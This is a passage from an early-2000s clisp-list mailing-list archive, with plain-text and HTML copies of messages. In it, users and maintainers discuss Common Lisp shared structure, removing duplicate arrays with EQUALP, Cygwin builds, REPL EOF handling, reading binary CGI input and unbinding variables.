and then you use this list to create another one and bind it to y:

    (setf y (cons 'a x))

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the three cells which make up the trailing portion (b c d). If
you change something in that trailing portion, the change will affect
both lists.

Note that storing values into arrays is destructive manipulation,
and that arrays are manipulated by reference. It's easy to end up 
with multiple references to the same array in circumstances that
call for distinct array objects, leading to surprising results.

E.g.

	(setf x (make-array 3))	;; make array, bind to x

	(setf y x)

	(setf (aref x 1) 42)	;; modify x

	x  	=>  #(nil 42 nil)

	;; x modified okay

	y  	=>  #(nil 42 nil)

	;; What??? Why did y change? It must be the same array as x.

	(eq x y)  => T

	;; eq test confirms our suspicion: 
	;; the values of x and y are implemented as the same array object!



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Thank You....


-----Original Message-----
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On Fri, 26 Oct 2001, Justice, Randy -CONT(DYN) wrote:

> Can one have a list composed of  arrays and lists?

You can have a heterogeneous list composed of any mixture of Lisp
data types.

> I'm having a problem.. It seems to be related to a list that contains
3-D
> arrays and lists.
> My list seems to change without a reason...

Without seeing your code, I can offer you the following hypothesis:
perhaps you are destructively manipulating the list. Destructive
manipulation of lists and other objects can cause a change in one
object to mysteriously propagate to another object. That happens
because in Lisp, objects often share parts of their structure with other
objects in order to save space and time. A change to the substructure
affects all objects which share it.

For instance if you create a list and bind it to symbol x like this:

    (setf x (list 'b 'c 'd))

and then you use this list to create another one and bind it to y:

    (setf y (cons 'a x))

you now apparently have two lists (b c d) and (a b c d), but they share
the three cells which make up the trailing portion (b c d). If
you change something in that trailing portion, the change will affect
both lists.

Note that storing values into arrays is destructive manipulation,
and that arrays are manipulated by reference. It's easy to end up 
with multiple references to the same array in circumstances that
call for distinct array objects, leading to surprising results.

E.g.

	(setf x (make-array 3))	;; make array, bind to x

	(setf y x)

	(setf (aref x 1) 42)	;; modify x

	x  	=>  #(nil 42 nil)

	;; x modified okay

	y  	=>  #(nil 42 nil)

	;; What??? Why did y change? It must be the same array as x.

	(eq x y)  => T

	;; eq test confirms our suspicion: 
	;; the values of x and y are implemented as the same array
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<BR><FONT SIZE=2>Thank You....</FONT>
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<P><FONT SIZE=2>-----Original Message-----</FONT>
<BR><FONT SIZE=2>From: Kaz Kylheku</FONT>
<BR><FONT SIZE=2>To: Justice, Randy -CONT(DYN)</FONT>
<BR><FONT SIZE=2>Cc: clisp-list@lists.sourceforge.net</FONT>
<BR><FONT SIZE=2>Sent: 10/26/2001 3:55 PM</FONT>
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<P><FONT SIZE=2>On Fri, 26 Oct 2001, Justice, Randy -CONT(DYN) wrote:</FONT>
</P>

<P><FONT SIZE=2>&gt; Can one have a list composed of&nbsp; arrays and lists?</FONT>
</P>

<P><FONT SIZE=2>You can have a heterogeneous list composed of any mixture of Lisp</FONT>
<BR><FONT SIZE=2>data types.</FONT>
</P>

<P><FONT SIZE=2>&gt; I'm having a problem.. It seems to be related to a list that contains</FONT>
<BR><FONT SIZE=2>3-D</FONT>
<BR><FONT SIZE=2>&gt; arrays and lists.</FONT>
<BR><FONT SIZE=2>&gt; My list seems to change without a reason...</FONT>
</P>

<P><FONT SIZE=2>Without seeing your code, I can offer you the following hypothesis:</FONT>
<BR><FONT SIZE=2>perhaps you are destructively manipulating the list. Destructive</FONT>
<BR><FONT SIZE=2>manipulation of lists and other objects can cause a change in one</FONT>
<BR><FONT SIZE=2>object to mysteriously propagate to another object. That happens</FONT>
<BR><FONT SIZE=2>because in Lisp, objects often share parts of their structure with other</FONT>
<BR><FONT SIZE=2>objects in order to save space and time. A change to the substructure</FONT>
<BR><FONT SIZE=2>affects all objects which share it.</FONT>
</P>

<P><FONT SIZE=2>For instance if you create a list and bind it to symbol x like this:</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp; (setf x (list 'b 'c 'd))</FONT>
</P>

<P><FONT SIZE=2>and then you use this list to create another one and bind it to y:</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp; (setf y (cons 'a x))</FONT>
</P>

<P><FONT SIZE=2>you now apparently have two lists (b c d) and (a b c d), but they share</FONT>
<BR><FONT SIZE=2>the three cells which make up the trailing portion (b c d). If</FONT>
<BR><FONT SIZE=2>you change something in that trailing portion, the change will affect</FONT>
<BR><FONT SIZE=2>both lists.</FONT>
</P>

<P><FONT SIZE=2>Note that storing values into arrays is destructive manipulation,</FONT>
<BR><FONT SIZE=2>and that arrays are manipulated by reference. It's easy to end up </FONT>
<BR><FONT SIZE=2>with multiple references to the same array in circumstances that</FONT>
<BR><FONT SIZE=2>call for distinct array objects, leading to surprising results.</FONT>
</P>

<P><FONT SIZE=2>E.g.</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>(setf x (make-array 3)) ;; make array, bind to x</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>(setf y x)</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>(setf (aref x 1) 42)&nbsp;&nbsp;&nbsp; ;; modify x</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>x&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; =&gt;&nbsp; #(nil 42 nil)</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>;; x modified okay</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>y&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; =&gt;&nbsp; #(nil 42 nil)</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>;; What??? Why did y change? It must be the same array as x.</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>(eq x y)&nbsp; =&gt; T</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>;; eq test confirms our suspicion: </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>;; the values of x and y are implemented as the same array</FONT>
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Hello Randy,

Saturday, October 27, 2001, 1:16:22 AM, you wrote:

Randy> What method exists to "clear screen"?

See screen:clear-window in random screen access section
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Hi.

I'm trying to remove duplicates from a list.  

I have defined the following function:


(defun noduplicates (list)
 (let ((set ()))
   (mapc #'(lambda (x)
         (setq set (adjoin x set :test #'equal)))
      list)
    set))

[17]> (setq b '( 1 2 3 4 5 1 2 3))
(1 2 3 4 5 1 2 3)
[18]> (noduplicates b)
(5 4 3 2 1)

[19]> (setq b '( (1) (2) (3) (4) (5) (1) (2) (3)))
((1) (2) (3) (4) (5) (1) (2) (3))
[20]> (noduplicates b)
((5) (4) (3) (2) (1))


[21]> (setq b '( (1 1) (2 1) (3 1) (4 1) (5 1) (1 1) (2 1) (3 1)))
((1 1) (2 1) (3 1) (4 1) (5 1) (1 1) (2 1) (3 1))
[22]> (noduplicates b)
((5 1) (4 1) (3 1) (2 1) (1 1))

As you can see it works for "simple" lists...
When it comes to a more complex lists it does not work...

(setq z  '((#3A(((3 4 0) (1 3 2) (1 3 2))
       ((1 0 4) (4 0 0) (4 3 1))
       ((2 1 0) (0 1 1) (0 3 3)))
  (0 1915))
 (#3A(((0 2 1) (3 3 4) (3 4 0))
      ((1 3 2) (3 3 1) (0 2 2))
      ((3 1 4) (0 2 2) (1 4 1)))
  (0 1917))
 (#3A(((2 4 0) (4 3 1) (4 1 0))
      ((2 2 1) (4 3 0) (0 3 3))
      ((1 2 0) (0 1 0) (0 2 2)))
  (0 2017))
 (#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 1))
      ((2 1 0) (0 1 1) (0 3 3)))
  (0 1915))
 (#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 1))
      ((2 1 0) (0 1 1) (0 3 3)))
  (0 1915)))
)


[74]> (noduplicates z)
((#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 1))		<== Duplicate	
      ((2 1 0) (0 1 1) (0 3 3)))
  (0 1915))
 (#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 1))		<== Duplicate
      ((2 1 0) (0 1 1) (0 3 3)))
  (0 1915))
 (#3A(((2 4 0) (4 3 1) (4 1 0))
      ((2 2 1) (4 3 0) (0 3 3))
      ((1 2 0) (0 1 0) (0 2 2)))
  (0 2017))
 (#3A(((0 2 1) (3 3 4) (3 4 0))
      ((1 3 2) (3 3 1) (0 2 2))
      ((3 1 4) (0 2 2) (1 4 1)))
  (0 1917))
 (#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 1))		<== Duplicate
      ((2 1 0) (0 1 1) (0 3 3)))
  (0 1915)))
[75]>

What's going on??  How do I remove the duplicates from the list?


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<P><FONT SIZE=3D2>Hi.</FONT>
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<P><FONT SIZE=3D2>I'm trying to remove duplicates from a list.&nbsp; =
</FONT>
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<P><FONT SIZE=3D2>I have defined the following function:</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>(defun noduplicates (list)</FONT>
<BR><FONT SIZE=3D2>&nbsp;(let ((set ()))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; (mapc #'(lambda (x)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
(setq set (adjoin x set :test #'equal)))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; list)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; set))</FONT>
</P>

<P><FONT SIZE=3D2>[17]&gt; (setq b '( 1 2 3 4 5 1 2 3))</FONT>
<BR><FONT SIZE=3D2>(1 2 3 4 5 1 2 3)</FONT>
<BR><FONT SIZE=3D2>[18]&gt; (noduplicates b)</FONT>
<BR><FONT SIZE=3D2>(5 4 3 2 1)</FONT>
</P>

<P><FONT SIZE=3D2>[19]&gt; (setq b '( (1) (2) (3) (4) (5) (1) (2) =
(3)))</FONT>
<BR><FONT SIZE=3D2>((1) (2) (3) (4) (5) (1) (2) (3))</FONT>
<BR><FONT SIZE=3D2>[20]&gt; (noduplicates b)</FONT>
<BR><FONT SIZE=3D2>((5) (4) (3) (2) (1))</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>[21]&gt; (setq b '( (1 1) (2 1) (3 1) (4 1) (5 1) (1 =
1) (2 1) (3 1)))</FONT>
<BR><FONT SIZE=3D2>((1 1) (2 1) (3 1) (4 1) (5 1) (1 1) (2 1) (3 =
1))</FONT>
<BR><FONT SIZE=3D2>[22]&gt; (noduplicates b)</FONT>
<BR><FONT SIZE=3D2>((5 1) (4 1) (3 1) (2 1) (1 1))</FONT>
</P>

<P><FONT SIZE=3D2>As you can see it works for &quot;simple&quot; =
lists...</FONT>
<BR><FONT SIZE=3D2>When it comes to a more complex lists it does not =
work...</FONT>
</P>

<P><FONT SIZE=3D2>(setq z&nbsp; '((#3A(((3 4 0) (1 3 2) (1 3 2))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 0 4) (4 0 =
0) (4 3 1))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((2 1 0) (0 1 =
1) (0 3 3)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 1915))</FONT>
<BR><FONT SIZE=3D2>&nbsp;(#3A(((0 2 1) (3 3 4) (3 4 0))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 3 2) (3 3 1) (0 2 =
2))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((3 1 4) (0 2 2) (1 4 =
1)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 1917))</FONT>
<BR><FONT SIZE=3D2>&nbsp;(#3A(((2 4 0) (4 3 1) (4 1 0))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((2 2 1) (4 3 0) (0 3 =
3))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 2 0) (0 1 0) (0 2 =
2)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 2017))</FONT>
<BR><FONT SIZE=3D2>&nbsp;(#3A(((3 4 0) (1 3 2) (1 3 2))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 0 4) (4 0 0) (4 3 =
1))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((2 1 0) (0 1 1) (0 3 =
3)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 1915))</FONT>
<BR><FONT SIZE=3D2>&nbsp;(#3A(((3 4 0) (1 3 2) (1 3 2))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 0 4) (4 0 0) (4 3 =
1))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((2 1 0) (0 1 1) (0 3 =
3)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 1915)))</FONT>
<BR><FONT SIZE=3D2>)</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>[74]&gt; (noduplicates z)</FONT>
<BR><FONT SIZE=3D2>((#3A(((3 4 0) (1 3 2) (1 3 2))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 0 4) (4 0 0) (4 3 =
1)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;=3D=3D =
Duplicate&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((2 1 0) (0 1 1) (0 3 =
3)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 1915))</FONT>
<BR><FONT SIZE=3D2>&nbsp;(#3A(((3 4 0) (1 3 2) (1 3 2))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 0 4) (4 0 0) (4 3 =
1)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;=3D=3D =
Duplicate</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((2 1 0) (0 1 1) (0 3 =
3)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 1915))</FONT>
<BR><FONT SIZE=3D2>&nbsp;(#3A(((2 4 0) (4 3 1) (4 1 0))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((2 2 1) (4 3 0) (0 3 =
3))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 2 0) (0 1 0) (0 2 =
2)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 2017))</FONT>
<BR><FONT SIZE=3D2>&nbsp;(#3A(((0 2 1) (3 3 4) (3 4 0))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 3 2) (3 3 1) (0 2 =
2))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((3 1 4) (0 2 2) (1 4 =
1)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 1917))</FONT>
<BR><FONT SIZE=3D2>&nbsp;(#3A(((3 4 0) (1 3 2) (1 3 2))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((1 0 4) (4 0 0) (4 3 =
1)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;=3D=3D =
Duplicate</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((2 1 0) (0 1 1) (0 3 =
3)))</FONT>
<BR><FONT SIZE=3D2>&nbsp; (0 1915)))</FONT>
<BR><FONT SIZE=3D2>[75]&gt;</FONT>
</P>

<P><FONT SIZE=3D2>What's going on??&nbsp; How do I remove the =
duplicates from the list?</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Randy</FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
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Thank You..
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Hello Randy,

Saturday, October 27, 2001, 1:16:22 AM, you wrote:

Randy> What method exists to "clear screen"?

See screen:clear-window in random screen access section
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<P><FONT SIZE=2>&nbsp;</FONT>
<BR><FONT SIZE=2>Thank You..</FONT>
<BR><FONT SIZE=2>-----Original Message-----</FONT>
<BR><FONT SIZE=2>From: Arseny Slobodjuck</FONT>
<BR><FONT SIZE=2>To: Justice, Randy -CONT(DYN)</FONT>
<BR><FONT SIZE=2>Cc: clisp-list@lists.sourceforge.net</FONT>
<BR><FONT SIZE=2>Sent: 10/27/2001 10:27 AM</FONT>
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<P><FONT SIZE=2>Hello Randy,</FONT>
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<P><FONT SIZE=2>Saturday, October 27, 2001, 1:16:22 AM, you wrote:</FONT>
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<P><FONT SIZE=2>Randy&gt; What method exists to &quot;clear screen&quot;?</FONT>
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<P><FONT SIZE=2>See screen:clear-window in random screen access section</FONT>
<BR><FONT SIZE=2>of impnotes.</FONT>
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<P><FONT SIZE=2>-- </FONT>
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Randy,

Are neither of the built-ins "remove-duplicates" or "delete-duplicates" 
suitable for your purposes?

They are part of the Common Lisp specification, so your favorite CL 
documentation should describe them.

Randall Schulz
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At 07:27 2001-10-27, Justice, Randy -CONT(DYN) wrote:

>Hi.
>
>I'm trying to remove duplicates from a list.
>
>...
>
>Randy



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> * In message <B4CA1F5D8D23D411ADC7009027E791BF0270A55E@pens0394.cnet.navy.Mil>
> * On the subject of "[clisp-list] Remove duplicates from a complex list"
> * Sent on Sat, 27 Oct 2001 09:27:40 -0500
> * Honorable "Justice, Randy -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
>
> I'm trying to remove duplicates from a list.  

CLHS has DELETE-DUPLICATES and REMOVE-DUPLICATES

> (defun noduplicates (list)
>  (let ((set ()))
>    (mapc #'(lambda (x)
>          (setq set (adjoin x set :test #'equal)))
>       list)
>     set))

> (setq z  '((#3A(((3 4 0) (1 3 2) (1 3 2))
>        ((1 0 4) (4 0 0) (4 3 1))
>        ((2 1 0) (0 1 1) (0 3 3)))
>   (0 1915))
>  (#3A(((0 2 1) (3 3 4) (3 4 0))
>       ((1 3 2) (3 3 1) (0 2 2))
>       ((3 1 4) (0 2 2) (1 4 1)))
>   (0 1917))

read about EQ, EQL, EQUAL and EQUALP in CLHS.

(equal #(1 2 3) #(1 2 3))
 ==> nil
(equalp #(1 2 3) #(1 2 3))
 ==> t



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Hello,

  Does 'CLISP' mean 'Candle Lisp' ?

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> * In message <178256784997.20011029105748@ich.dvo.ru>
> * On the subject of "[clisp-list] name of clisp"
> * Sent on Mon, 29 Oct 2001 10:57:48 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
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>   Does 'CLISP' mean 'Candle Lisp' ?

no, I think the name comes from it being written (mostly) in C.

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I was using clisp on Win 98 and had no problems. I installed it on Win =
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Anybody know what I forgot to do when I reinstalled?

Thanks

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> * In message <001d01c1658e$611daa20$52d9aec7@MELVINA>
> * On the subject of "[clisp-list] windows 2k file loading problem"
> * Sent on Sun, 4 Nov 2001 16:02:10 -0800
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> I was using clisp on Win 98 and had no problems. I installed it on Win
> 2000 and when I try to load any files aother than what is in the src
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> 
> *** - Win32 error 3(ERROR_PATH_NOT_FOUND): The system cannot find the path specified.

how do you start clisp?
please show a full transcript.

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Just a note to say that I have built clisp-2.27 on windows 2000 using
cygwin.  I was then able to compile a maxima, and it "sort of works".

 There were two minor problems.

configure detects IPv6 due to some incomplete headers in the cygwin
distribution.  This can be worked around by editing $(build)/unixconf.h and
replacing 
#define HAVE_IPV6 1
with
#undef HAVE_IPV6
A better solution would be to fix improve the IPv6 detection, as was done
for gcc-3


cygwin doesn't have getservent().  This was worked around by modifying
src/socket.d near line 847, changing 
#ifndef WIN32
to
#if !defined(WIN32) || ! defined (__CYGWIN__)
I guess an autoconf test for getservent() would be preferable.

The build then proceded normally.  

There was one testsuite failure in excepsit.erg.

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It would be nice to guard against bailing out of the current
read-eval-print loop (and hence out of clisp, if in the topmost one)
when some evaluated input function has received an EOF indication
from the terminal. E.g. currently we get behavior like:

    [1]> (read t nil)
    NIL  <- typed ctrl-D here
    oops-system-prompt:~$ _

The EOF condition is not cleared, and so is visible to the
read-eval-print.

As a workaround, it seems that clear-input has the effect of
removing the EOF indication:

     (progn (read t nil)(clear-input t))

Perhaps this clearing should be done implicitly, the same way it is done
when you use an EOF indication to bail out of a nested read-eval-print
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> * In message <Pine.LNX.4.33.0111051251400.22018-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Small feature idea."
> * Sent on Mon, 5 Nov 2001 13:28:02 -0800 (PST)
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> It would be nice to guard against bailing out of the current
> read-eval-print loop (and hence out of clisp, if in the topmost one)
> when some evaluated input function has received an EOF indication
> from the terminal. E.g. currently we get behavior like:
> 
>     [1]> (read t nil)
>     NIL  <- typed ctrl-D here
>     oops-system-prompt:~$ _

this has already been fixed in the sources (2001-10-15)
thanks.

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On 5 Nov 2001, Sam Steingold wrote:

> this has already been fixed in the sources (2001-10-15)
> thanks.

Cool. I guess I'm not building sufficiently close on the bleeding
edge here.  

By the way, that little e-mail you got is generated by a mail cookie
program that I recently hacked up in Lisp, running on CLISP.

If you are ticked off at getting all this auto-generated crap from me,
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> * In message <Pine.LNX.4.33.0111052051510.30624-100000@ashi.FootPrints.net>
> * On the subject of "Re: [clisp-list] Small feature idea."
> * Sent on Mon, 5 Nov 2001 21:00:36 -0800 (PST)
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> By the way, that little e-mail you got is generated by a mail cookie
> program that I recently hacked up in Lisp, running on CLISP.
> 
> If you are ticked off at getting all this auto-generated crap from me,
> I hope that provides some consolation. ;)

I consider this system to be rude.
I will not send any mail to you in the future.

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I am working on a CGI program using CLISP to handle file uploads.  A
form completed by the client includes:

  <form enctype="multipart/form-data" 
        action="/cgi-bin/clisp-upload" 
        method="post">

and 

  <input type="file" name="foo">

The client sends a multipart/form-data to the clisp-upload program,
where the data is delivered by way of standard input: boundaries,
headers, payload and all.  Since the payload is binary, I need to read
it as binary.  According to impnotes that accompanies clisp-2.27
(under "Line Terminators", in the "Extensionts-1.4. Encodings"
section):

   The line terminator mode is relevant only for output (writing to a
   file/pipe/socket). During input, all three kinds of line
   terminators are recognized. If you do not want this, i.e., if you
   really want to distinguish LF, CR and CR/LF, you have to resort to
   binary input (function READ-BYTE).

I _do_ need to distinguish, since such line terminator squashing isn't
reversible in arbitrary binary data.  Instead of the function
read-byte, I am trying to use the function read-byte-sequence instead
(which I assume is equivalent under the circumstances), but am having
the following difficulty: I can't seem to call it on *standard-input*.
I am getting the message:

   *** - READ-BYTE on #<IO TERMINAL-STREAM> is illegal

If I try to setf the stream-element-type to '(unsigned-byte 8), as
suggested in the "Streams Dictionary" section ("Together with (SETF
STREAM-ELEMENT-TYPE), this function permits mixed character/binary
input from a stream."), I get:

   *** - (SETF STREAM-ELEMENT-TYPE) on #<IO TERMINAL-STREAM> is illegal

Er, so how do I get what I want?

Thanks in advance!

-- 
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> * In message <861yj8o2ch.fsf@coulee.tdb.com>
> * On the subject of "[clisp-list] stream trouble"
> * Sent on 08 Nov 2001 23:00:46 -0800
> * Honorable Russell Senior <seniorr@aracnet.com> writes:
>
>    *** - READ-BYTE on #<IO TERMINAL-STREAM> is illegal
yep.

>    *** - (SETF STREAM-ELEMENT-TYPE) on #<IO TERMINAL-STREAM> is illegal
yep.

how come you are reading from a terminal stream?
don't use terminal streams.
CLISP can open internet sockets - read from them, change their
STREAM-ELEMENT-TYPE &c.


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

>> * In message <861yj8o2ch.fsf@coulee.tdb.com> * On the subject of
>> "[clisp-list] stream trouble" * Sent on 08 Nov 2001 23:00:46 -0800
>> * Honorable Russell Senior <seniorr@aracnet.com> writes:
>> 
>> *** - READ-BYTE on #<IO TERMINAL-STREAM> is illegal

Sam> yep.

>> *** - (SETF STREAM-ELEMENT-TYPE) on #<IO TERMINAL-STREAM> is
>> illegal

Sam> yep.

No doubt.

Sam> how come you are reading from a terminal stream?  don't use
Sam> terminal streams.  

I am reading from *standard-input*, as in:

  (ext:read-byte-sequence buffer *standard-input* :end buffer-size)

since that is where Apache (in this case) puts the data.  Is it
possible to accomodate this behavior and, if so, how do people
typically do it?  I have reviewed the mailing list traffic going back
to roughly June 1996 and haven't found the question addressed.

Thanks.

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> * In message <86n11vlpjm.fsf@coulee.tdb.com>
> * On the subject of "Re: [clisp-list] stream trouble"
> * Sent on 09 Nov 2001 11:20:13 -0800
> * Honorable Russell Senior <seniorr@aracnet.com> writes:
>
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> >> *** - READ-BYTE on #<IO TERMINAL-STREAM> is illegal
> Sam> yep.
> >> *** - (SETF STREAM-ELEMENT-TYPE) on #<IO TERMINAL-STREAM> is illegal
> Sam> yep.
> No doubt.
> 
> Sam> how come you are reading from a terminal stream?  don't use
> Sam> terminal streams.  
> 
> I am reading from *standard-input*, as in:
> 
>   (ext:read-byte-sequence buffer *standard-input* :end buffer-size)
> 
> since that is where Apache (in this case) puts the data.  Is it
> possible to accomodate this behavior and, if so, how do people
> typically do it?  I have reviewed the mailing list traffic going back
> to roughly June 1996 and haven't found the question addressed.

try this:
(let ((true-input (two-way-stream-input-stream
                   (symbol-value
                    (synonym-stream-symbol *standard-input*)))))
  (setf (stream-element-type true-input) '(unsigned-byte 8))
  (read-byte-sequence buffer true-input))

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Hallo

[1] I am new in this list and my english is not good
[2] Because I am new in lisp, I do not read all documents 
    (but 3 books and what I can find online)
[3] I run the release 2.27 (2001-07-17) of GNU CLISP
[4] I work private on a kind of neural network for experiments
[5] The ()-structure is modular, each () has up to 3kb stored in a
separate file and load on demand. 
[6] The question(s) :

[7]
When I do (load "modul-03.lisp"), I could find no way to unload this
module. My thought is to free up all variables for other modules. This
way I will be able to use the same variable names in different modules.
So, is there a way, to make the load-process unhapened ? (function
unload - undefined function it says). What is a usual way in this case ?

[8]
An other problem is (say it simply) a way like a command
(bound-variable-xyz) and (unbound-variable-xyz). I found setq and setf,
but no unsetq, unsetf. Only the possibility like a new (setq variable 0)
is known, but I wish that the variable is not known by the system after
use. If there are commands in this direction, please let me know, so I
can read somewhere about this. (there are some comments in the
news-group comp.lang.lisp under: On the implementation of lexical
variables..)

[9]
For example, I have hugh lists filled with numbers (the modules), all in
the same structure, for example modul-18: 
   (47 53 29) (n 17 38 42) 
   (36 28 51) (s 23 58 29)
   ... 20.000 more (these are star-positions taken from a catalog)
So I want to ask, whether in clisp is a possibility to make something
like a car and a cdr of "modul-18.lisp"- the file (like load-read(that
is: bind a variable)-unload). 

At the moment I load the whole modul-18 (there are 6 other modules like
this) and make cons-pairs like (...).(...), and then I get the runtime
problem, finding the position of 8732 inside this module, to work with
8731 and 8733. This needs to much time. Alternatively I thought about
big 2-dimensional arrays, but witch is the better way to handle
positions in this case ? (the aim is a short runtime)

For testing, I write "modul-18" in the editor, typing position-numbers,
to find easy one position again, this looks like
   (12456 ((47 53 29) (n 17 38 42)))
but doing so, I get errors from the other modules (lambdas they want).
Seems like I have to rewrite these modules, but this is much work and
will take some time.

[10]
The ready programm should give me the position of a star in 6 different
coordinate systems, so I typed in one position and get back 5 equivalent
coordinate places. And because it is neuronal, there is that
experimental test, whether the programm can learn to transform the
positions.

[11] last words:
Please, I do not expect complete solutions. Only some tips or comments
should be helpful, because working with lisp is so magnificent and
funny. I see myself confronted with an ocean and swimming does so good
...

stefan



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On Sat, 10 Nov 2001, lin8080 wrote:
> Hallo

   Guten Tag Stefan!  Mein Deutsch is nicht als gut als seine English.

   I cant answer all your questions but I can answer some.

> When I do (load "modul-03.lisp"), I could find no way to
> unload this module.

   Lisp is a garbage collected language.  When something is
not referenced anymore, the GC will reclaim it.  So
generally dont dont need up "unload".

;; define the var to be special
(defvar *bigarr* nil)
;; bigarr now uses lots of space
(setf *bigarr* (make-array 10000))
*BIGARR*
;; now *bigarr* has no reference to the array, it will be collected
(setf *bigarr* nil)


> My thought is to free up all variables for other modules. This
> way I will be able to use the same variable names in different modules.

Write function that sets all the vars you care about to some
know value. (like nil)

> An other problem is (say it simply) a way like a command
> (bound-variable-xyz) and (unbound-variable-xyz).

   (makunbound '*bigarr*)

   http://www.xanalys.com/software_tools/reference/HyperSpec/

> So I want to ask, whether in clisp is a possibility to make something
> like a car and a cdr of "modul-18.lisp"- the file (like load-read(that
> is: bind a variable)-unload).

   Read the file into a var and walk across it.

(defun read-file (fname)
  ;; :eof should be an uninterened symbol
  (let ((fval :eof))
    (with-open-file (fstream fname)
     (loop
       do (setf fval (read fstream nil :eof))
       until (eq fval :eof)
       collect fval))))

hope this helps,
harley.



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lin8080 <lin8080@freenet.de> wrote:
> Hallo
> 
> [1] I am new in this list and my english is not good
> [2] Because I am new in lisp, I do not read all documents 
>     (but 3 books and what I can find online)
